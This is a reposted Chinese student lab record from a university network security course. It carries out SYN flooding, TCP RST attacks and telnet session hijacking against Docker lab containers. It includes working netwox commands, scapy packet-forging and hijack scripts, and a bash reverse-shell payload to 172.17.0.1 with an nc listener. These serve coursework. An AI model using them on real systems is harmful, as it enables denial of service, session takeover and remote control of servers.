寫在最前:
實(shí)驗(yàn)指導(dǎo)書已經(jīng)寫得非常好了,這是我個(gè)人的實(shí)驗(yàn)記錄,并沒(méi)有認(rèn)真整理和記錄容易出問(wèn)題的地方。只是免得以后忘了什么是netwox還得翻學(xué)習(xí)通。
涉及代碼的倉(cāng)庫(kù)地址
HUST計(jì)算機(jī)網(wǎng)絡(luò)安全實(shí)驗(yàn)_Gitee
Github
docker使用
建立實(shí)驗(yàn)環(huán)境
普通用戶: seed 密碼:dees
超級(jí)用戶:root 密碼:seedubuntu
Network(bridge):172.17.0.0/16:
server是已經(jīng)創(chuàng)建好的,如果沒(méi)有,就按照創(chuàng)建User的方式創(chuàng)建。
創(chuàng)建user:
sudo docker run -it --name=user --hostname=user --privileged "seedubuntu" /bin/bash
我的ip:
Attacker:172.17.0.1 # 也就是虛擬機(jī)seed@VM
server:172.17.0.4
user:172.17.0.2
docker常用指令
打開(kāi)或停止HostM:
sudo docker start/stop HostM
把HostM映射到bash中:
sudo docker exec -it HostM /bin/bash
查看當(dāng)前docker有哪些:
sudo docker ps -a
關(guān)閉防火墻:
sudo iptables -F
netwox工具使用
Netwox是一款非常強(qiáng)大和易用的開(kāi)源工
具包,可以創(chuàng)造任意的TCP/UDP/IP數(shù)據(jù)
報(bào)文。Netwox工具包中包含了超過(guò)200
個(gè)不同功能的網(wǎng)絡(luò)報(bào)文生成工具,每個(gè)工具
都擁有一個(gè)特定的編號(hào)。
指令格式:
netwox number 參數(shù)
具體命令可查:
netwox number --help
netwox常用指令的編號(hào)
運(yùn)行netwox,輸入3,可以按照關(guān)鍵詞搜
素想要的工具。
? 76 Syn-flood工具
? 78 TCP RST攻擊
? 40 TCP會(huì)話劫持
? 0 退出netwox
其他常用指令
①telnet:
開(kāi)啟telnet服務(wù):
sudo /etc/init.d/openbsd-inetd restart # telnet服務(wù)啟動(dòng)
sudo netstat -a | grep telnet # 查看telnet的運(yùn)行狀態(tài)
連接服務(wù)器:
telnet 172.17.0.4
②cookie機(jī)制開(kāi)關(guān):
查看cookie是否開(kāi)啟:
sysctl -a | grep cookie
關(guān)閉cookie機(jī)制:
sysctl net.ipv4.tcp_syncookies=0
打開(kāi)cookie機(jī)制:
sysctl net.ipv4.tcp_syncookies=1
③wireshark:
新建終端,打開(kāi)any網(wǎng)卡。
④查看當(dāng)前的連接的狀態(tài):
netstat -nat
任務(wù)1 SYN-Flooding攻擊
SYN flood 是DoS攻擊的一種。攻擊者使用假冒 IP 地址或故意不完成三次握手,利用 TCP 半開(kāi)連接,預(yù)支資源。
本實(shí)驗(yàn)?zāi)繕?biāo)是消耗服務(wù)器資源,服務(wù)器docker的ip是172.17.0.4。
三種實(shí)現(xiàn)形式:
①利用netwox工具
②利用scapy
③利用c代碼
攻擊過(guò)程
不啟用cookie
①netwox:攻擊機(jī)運(yùn)行sudo netwox 76 172.17.0.4 -p 23
。
用戶機(jī)嘗試用telnet連接,連接超時(shí),失敗。意思是攻擊成功。
根據(jù)@qq_51639539 同學(xué)的補(bǔ)充,即使沒(méi)攻擊也可能telnet失敗,這是因?yàn)闆](méi)有啟動(dòng) ftp 和 telnet 服務(wù)器。參照實(shí)驗(yàn)指導(dǎo)書第三頁(yè)的啟動(dòng)ftp和telnet服務(wù)器的兩條命令。
因此,請(qǐng)確保你在沒(méi)攻擊的時(shí)候能夠成功 telnet,再進(jìn)行攻擊、查看攻擊效果。
用戶機(jī)先建立連接,然后再打開(kāi)攻擊。
新建用戶機(jī)終端運(yùn)行netstat -nat
查看連接狀態(tài):
可以看到,攻擊后不影響原有的連接,但是無(wú)法新建telnet連接。
②scapy:修改給定腳本的目的地址,攻擊機(jī)運(yùn)行sudo pip install scapy
,然后攻擊機(jī)使用sudo python ./syn_flood.py
運(yùn)行攻擊腳本。
運(yùn)行攻擊腳本、用戶機(jī)telnet嘗試連接如下圖(左)所示,wireshark截圖如下圖(右)所示。
可以看到,連接成功,攻擊效果不明顯。
觀察wireshark,這是因?yàn)閜ython發(fā)包速度過(guò)慢,因此嘗試修改程序,將隨機(jī)函數(shù)刪掉,隨便寫個(gè)不隨機(jī)的遍歷函數(shù),但是還是不行。
因此,我嘗試連續(xù)運(yùn)行4個(gè)隨機(jī)的python程序,等待了一分鐘,再次建立連接,發(fā)現(xiàn)還是沒(méi)有攻擊成功。并且連接速度也沒(méi)有放慢太多。
此時(shí)我的虛擬機(jī)已經(jīng)非???,故不再繼續(xù)嘗試。
運(yùn)行的4個(gè)程序見(jiàn)下圖(左),攻擊的失敗結(jié)果見(jiàn)下圖(右)。
③c:修改腳本的目的地址,gcc編譯,攻擊機(jī)使用sudo ./syn_flood
運(yùn)行攻擊腳本。
用戶機(jī)嘗試用telnet連接,連接超時(shí),失敗。意思是攻擊成功。
打開(kāi)cookie后
以netwox攻擊為例。
下圖左側(cè)是攻擊機(jī),正在運(yùn)行netwox攻擊指令;右側(cè),上方是服務(wù)機(jī)的cookie機(jī)制開(kāi)啟情況,下方是攻擊后用戶機(jī)嘗試telnet連接服務(wù)機(jī)的情況。
可以看到,連接沒(méi)有失敗,并且不卡,說(shuō)明cookie防御機(jī)制是有效的。
任務(wù) 2 : 針對(duì) telnet 或 ssh 連接的 TCP RST 攻擊
攻擊過(guò)程
netwox:
(1)Wireshark截包截圖。netwox自動(dòng)攻擊,所以該TCP報(bào)文信息用處不大。
(2)攻擊命令:sudo netwok 78 -d docker0
。
(3)上圖是先建立連接再攻擊,攻擊成功,telnet連接異常中止,符合預(yù)期結(jié)果。
下圖是先攻擊再嘗試建立連接??梢钥吹?,先是連接時(shí)就失敗了,再是連接成功后登錄時(shí)被打斷了。
scapy手動(dòng)攻擊:
(1)Wireshark截包截圖。
關(guān)鍵信息:ip:172.17.0.2→172.17.0.4,port:59252→23,Seq:470998582。
(2)攻擊腳本:
#!/usr/bin/python3
from scapy.all import *
print("SENDING RESET PACKET.........")
ip = IP(src="172.17.0.2", dst="172.17.0.4")
tcp = TCP(sport=59252, dport=23,flags="R",seq=470998582)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)
攻擊命令:sudo python reset_manual.py
。
(3)觀察和解釋:成功,符合預(yù)期。如下圖,圖中第二個(gè)t對(duì)應(yīng)攻擊的tcp報(bào)文。當(dāng)再輸入一個(gè)t時(shí),顯示連接已經(jīng)中止。
而且,使用wireshark抓取報(bào)文,可以看到我們偽造的RST報(bào)文成功發(fā)出、并阻礙了通信。
scapy自動(dòng)攻擊:
(1)Wireshark截包截圖。
關(guān)鍵信息:ip:172.17.0.2→172.17.0.4,port:59296→23,Seq:107996481。
(2)攻擊命令見(jiàn)下圖左,攻擊腳本見(jiàn)下圖右。
其中攻擊腳本添加了一行判斷當(dāng)前截獲的報(bào)文是否是RST報(bào)文,如果是則返回,以免截取到自己偽造的報(bào)文。
(3)觀察和解釋:
攻擊成功,攻擊結(jié)果如下圖所示。沒(méi)有阻斷telnet與服務(wù)器建立連接,但是打斷了登錄過(guò)程。
這和netwox運(yùn)行時(shí)的部分情況也是一致的,由于建立連接的速度太快,python程序截獲到建立連接的TCP報(bào)文、并發(fā)送偽造的RST報(bào)文時(shí),連接已經(jīng)建立完畢,SEQ和偽造的RST報(bào)文對(duì)不上。所以是在登錄過(guò)程中被打斷,符合預(yù)期。
對(duì)應(yīng)的RST報(bào)文在wireshark中截圖如下。
任務(wù)3,4常用指令說(shuō)明
打斷會(huì)話劫持
會(huì)話劫持之后客戶端可能無(wú)響應(yīng),此時(shí)最好用任務(wù)2的RST打斷telnet會(huì)話,這樣就不用新建客戶端bash。
打斷方式:
sudo netwox 78 -d docker0
反彈shell
客戶端:nc -lvp 4567
服務(wù)端:
/bin/bash -i >/dev/tcp/172.17.0.1/4567 # 默認(rèn)描述符1是標(biāo)準(zhǔn)輸出,意思是把當(dāng)前的bash的輸出全部重定向到172.17.0.1:4567中
除了標(biāo)準(zhǔn)輸出,還可以把標(biāo)準(zhǔn)輸入(0)定向過(guò)來(lái)、錯(cuò)誤輸出(2)定向過(guò)去??偟脕?lái)說(shuō),指令如下:
/bin/bash -i >/dev/tcp/172.17.0.1/4567 2>&1 0<&1
任務(wù) 3,4 : 使用 TCP 會(huì)話劫持注入普通命令、創(chuàng)建反向 shell
攻擊過(guò)程
注:我認(rèn)為 hijacking_auto.py 是 hijacking_manual.py 的拓展,而且netwox的過(guò)程和手動(dòng)攻擊基本一致,沒(méi)有必要重復(fù)展示手動(dòng)攻擊的效果,因此實(shí)施scapy攻擊時(shí)只描述自動(dòng)攻擊及其腳本。
注入普通命令"ls\r\n"
netwox:
(1)Wireshark截包截圖:
下圖是最后一個(gè)Telnet報(bào)文。
關(guān)鍵信息:ip:172.17.0.4→172.17.0.2,port:59366→23,Next SEQ:863211564,ACK:430198591。
(2)攻擊命令:sudo netwox 40 -l 172.17.0.2 -m 172.17.0.4 -p 23 -o 59366 --tcp-seqnum 430198591 --tcp-acknum 863211564 --tcp-data "6c730d00" --tcp-ack
。
注入的內(nèi)容是"ls\r\n"。
(3)觀察和解釋:攻擊成功。
下圖是服務(wù)端返回的ls結(jié)果,顯示了服務(wù)器當(dāng)前目錄下的文件和文件夾。
不過(guò)可惜的是,user用戶機(jī)對(duì)服務(wù)器的會(huì)話被干擾了,不能繼續(xù)會(huì)話,如下圖所示。
這是因?yàn)閟eq和ack順序關(guān)系被破壞。
我認(rèn)為該工具應(yīng)該可以、并且需要達(dá)到更好的效果:比如邊接收用戶機(jī)發(fā)來(lái)的訊息,邊允許攻擊機(jī)持續(xù)向服務(wù)器發(fā)送指令,這只需要設(shè)置兩個(gè)變量暫存seq和ack即可做到。
scapy:
(1)Wireshark截包截圖:
攻擊的是下面這張圖上的TCP報(bào)文,由于采取自動(dòng)攻擊的方式,所以seq和ack的具體數(shù)值對(duì)程序編寫來(lái)說(shuō),并不重要。
(2)攻擊腳本:
#!/usr/bin/python3
from scapy.all import *
SRC = "172.17.0.2"
DST = "172.17.0.4"
PORT = 23
def spoof(pkt):
old_ip = pkt[IP]
old_tcp = pkt[TCP]
if(old_tcp.flags!="A"):
return
#############################################
ip = IP( src = old_ip.src,
dst = old_ip.dst
)
tcp = TCP( sport = old_tcp.sport,
dport = old_tcp.dport,
seq = old_tcp.seq,
ack = old_tcp.ack,
flags = "PA"
)
data = "ls\r\n"
#############################################
pkt = ip/tcp/data
send(pkt,verbose=0)
ls(pkt)
#quit()
f = 'tcp and src host {} and dst host {} and dst port {}'.format(SRC, DST, PORT)
sniff(filter=f, prn=spoof)
出于謹(jǐn)慎,我將quit()注釋掉,并且只抓flags為A的報(bào)文,將自己偽造的報(bào)文的flags改成PA。
一方面是防止抓到自己偽造的報(bào)文造成不必要的循環(huán);
另一方面是通過(guò)觀察,seq和ack符合需要的目標(biāo)報(bào)文的flags往往是A,telnet報(bào)文的flags是PA,并且,不能斷定兩臺(tái)主機(jī)之間只有telnet通信有flags為A的報(bào)文,因此不妨將quit()注釋掉,多針對(duì)幾個(gè)ACK包。
(3)觀察和解釋:
用戶機(jī)運(yùn)行telnet連接服務(wù)機(jī)并登錄,攻擊機(jī)運(yùn)行python腳本,然后用戶機(jī)輸入一個(gè)回車,用于觸發(fā)腳本。
注意:用于觸發(fā)腳本的符號(hào)是回車,空格時(shí)服務(wù)器沒(méi)有正常執(zhí)行l(wèi)s指令,具體原因不明。后來(lái)做反向shell的時(shí)候,我使用空格觸發(fā),卻成功了。
在wireshark中抓包可以看到我們偽造的報(bào)文,如下圖所示。
并且,可以進(jìn)一步看到服務(wù)器運(yùn)行l(wèi)s時(shí)顯示的結(jié)果,如下圖所示。
反向shell
netwox:
(1)Wireshark截包截圖:
(2)攻擊命令:
先在攻擊機(jī)上運(yùn)行nc -lvp 4567,對(duì)4567端口進(jìn)行監(jiān)聽(tīng),等待服務(wù)器主動(dòng)反向shell。
然后用戶機(jī)和服務(wù)器建立telnet連接后,攻擊機(jī)運(yùn)行如下指令:
sudo netwox 40 -l 172.17.0.2 -m 172.17.0.4 -p 23 -o 59418 --tcp-seqnum 656808919 --tcp-acknum 85195549 --tcp-data "2f62696e2f62617368202d69203e2f6465762f7463702f3137322e31372e302e312f3435363720323e263120303c26310d00" --tcp-ack
這條攻擊指令是利用TCP會(huì)話劫持運(yùn)行/bin/bash -i >/dev/tcp/172.17.0.1/4567 2>&1 0<&1
并回車。
運(yùn)行的這條指令是把當(dāng)前的bash的標(biāo)準(zhǔn)輸出、錯(cuò)誤輸出全部重定向到172.17.0.1:4567中去,并把172.17.0.1:4567的輸入重定向成為當(dāng)前bash的標(biāo)準(zhǔn)輸入。
(3)觀察和解釋:
下圖上方是攻擊機(jī)成功獲得服務(wù)器shell的截圖,下方是服務(wù)器響應(yīng)"/bin/bash -i >/dev/tcp/172.17.0.1/4567 2>&1 0<&1"語(yǔ)句的wireshark抓包結(jié)果。
可以看到,攻擊機(jī)成功地能夠顯示標(biāo)準(zhǔn)輸出、錯(cuò)誤輸出,并且還能將自己的輸入運(yùn)行在服務(wù)機(jī)運(yùn)行,也就是獲得了服務(wù)器的bash。
scapy:
(1)Wireshark截包截圖:
攻擊的是下面這張圖上的TCP報(bào)文,由于采取自動(dòng)攻擊的方式,所以seq和ack的具體數(shù)值對(duì)程序編寫來(lái)說(shuō),并不重要。
(2)攻擊腳本:
#!/usr/bin/python3
from scapy.all import *
SRC = "172.17.0.2"
DST = "172.17.0.4"
PORT = 23
def spoof(pkt):
old_ip = pkt[IP]
old_tcp = pkt[TCP]
if(old_tcp.flags!="A"):
return
#############################################
ip = IP( src = old_ip.src,
dst = old_ip.dst
)
tcp = TCP( sport = old_tcp.sport,
dport = old_tcp.dport,
seq = old_tcp.seq,
ack = old_tcp.ack,
flags = "PA"
)
data = "/bin/bash -i >/dev/tcp/172.17.0.1/4567 2>&1 0<&1\r\n"
#############################################
pkt = ip/tcp/data
send(pkt,verbose=0)
ls(pkt)
#quit()
f = 'tcp and src host {} and dst host {} and dst port {}'.format(SRC, DST, PORT)
sniff(filter=f, prn=spoof)
(3)觀察和解釋:
運(yùn)行腳本后,在用戶機(jī)上輸入一個(gè)空格,然后腳本會(huì)監(jiān)聽(tīng)到這個(gè)輸入,并使用該序列號(hào)和ACK號(hào)偽造報(bào)文。
下圖上方為攻擊機(jī)運(yùn)行腳本的截圖,下方為攻擊機(jī)開(kāi)啟監(jiān)聽(tīng)后獲得服務(wù)器的shell的截圖。
偽造的報(bào)文成功發(fā)送,在wireshark中的抓包顯示如下圖??梢钥吹?,發(fā)送了Data為"/bin/bash -i >/dev/tcp/172.17.0.1/4567 2>&1 0<&1\r\n"的報(bào)文。文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-420383.html
文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-420383.html
到了這里,關(guān)于【HUST】網(wǎng)安|計(jì)算機(jī)網(wǎng)絡(luò)安全實(shí)驗(yàn)|實(shí)驗(yàn)一 TCP協(xié)議漏洞及利用的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!